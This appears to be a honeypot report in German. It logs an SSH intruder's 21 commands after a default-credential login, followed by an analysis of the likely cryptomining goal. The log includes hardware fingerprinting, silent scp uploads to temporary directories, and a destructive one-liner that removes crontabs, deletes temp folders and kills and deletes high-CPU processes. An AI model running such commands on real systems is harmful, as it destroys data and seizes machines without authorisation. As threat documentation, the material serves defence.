18.10.2026, 03:10 UTC · 21 Befehle · über ssh · Niederlande
user='rezvani' pass='ubuntu' rezvani@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 rezvani@srv01:~$ uname -m | awk '{printf $1}' x86_64 rezvani@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 391 days, 00:00 rezvani@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Atom/Celeron/Pentium Processor x5-E8000/J3xxx/N3xxx Integrated Graphics Controller (rev 21) rezvani@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Celeron(R) CPU J1900 @ 1.99GHz rezvani@srv01:~$ curl ipinfo.io/org AS60751 rezvani@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found rezvani@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found rezvani@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 rezvani@srv01:~$ uname -n | awk '{printf $1}' fileserver rezvani@srv01:~$ uname -r | awk '{printf $1}' 4.19.0-25-amd64 rezvani@srv01:~$ uname -s -v -n -r -m Linux 4.19.0-25-amd64 #1 SMP Debian 4.19.302-1 (2021-07-16) fileserver x86_64 rezvani@srv01:~$ echo ubuntu > /tmp/d.log rezvani@srv01:~$ scp -qt "/var/tmp/wKujYrdS" rezvani@srv01:~$ scp -qt "/tmp/wKujYrdS" rezvani@srv01:~$ scp -qt "/dev/shm/wKujYrdS" rezvani@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: cache: command not found rezvani@srv01:~$ echo tidb > /tmp/d.log rezvani@srv01:~$ scp -qt "/var/tmp/CVisKUQZ" rezvani@srv01:~$ scp -qt "/tmp/CVisKUQZ" rezvani@srv01:~$ scp -qt "/dev/shm/CVisKUQZ"
Der Angreifer meldete sich mit Standardzugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardware und das Betriebssystem zu identifizieren. Nach der Feststellung, dass keine NVIDIA-Grafikkarten vorhanden sind, versuchte er, Dateien in verschiedene temporäre Verzeichnisse zu kopieren. Abschließend löschte er den gesamten Inhalt von temporären Ordnern und beendete Prozesse mit hoher CPU- oder RAM-Auslastung.
Die Befehle uname, uptime und lscpu sammeln technische Daten über Kernel, Laufzeit und CPU-Modell. Die Abfragen mit lspci und nvidia-smi prüfen auf vorhandene Grafikkarten, wobei nvidia-smi für NVIDIA-Tools steht. Die scp-Befehle mit dem Parameter -qt dienen dem stillen Hochladen von Dateien in temporäre Speicherorte wie /tmp oder /dev/shm. Der lange Befehl mit crontab und ps löscht alte Cron-Jobs, leert temporäre Ordner und beendet Prozesse, die mehr als 40 Prozent CPU oder 60 Prozent RAM nutzen, um Rechenleistung für eigene Zwecke freizumachen.
Das Ziel war vermutlich die Vorbereitung eines Kryptomining-Botnetzes oder die Installation einer Backdoor. Die Abfrage nach Grafikkarten deutet auf Mining hin, während das Löschen konkurrierender Prozesse und das Ablegen von Dateien in versteckten Verzeichnissen typische Schritte zur Persistenz und Ressourcenfreigabe sind.
Dieses Vorgehen ist sehr verbreitet und folgt einem bekannten Muster für automatisierte Angriffe auf ungesicherte SSH-Zugänge. Die Kombination aus Hardware-Scan und Prozessbereinigung ist charakteristisch für Skripte, die nach der Kompromittierung sofort Ressourcen für Mining oder Botnetze beanspruchen.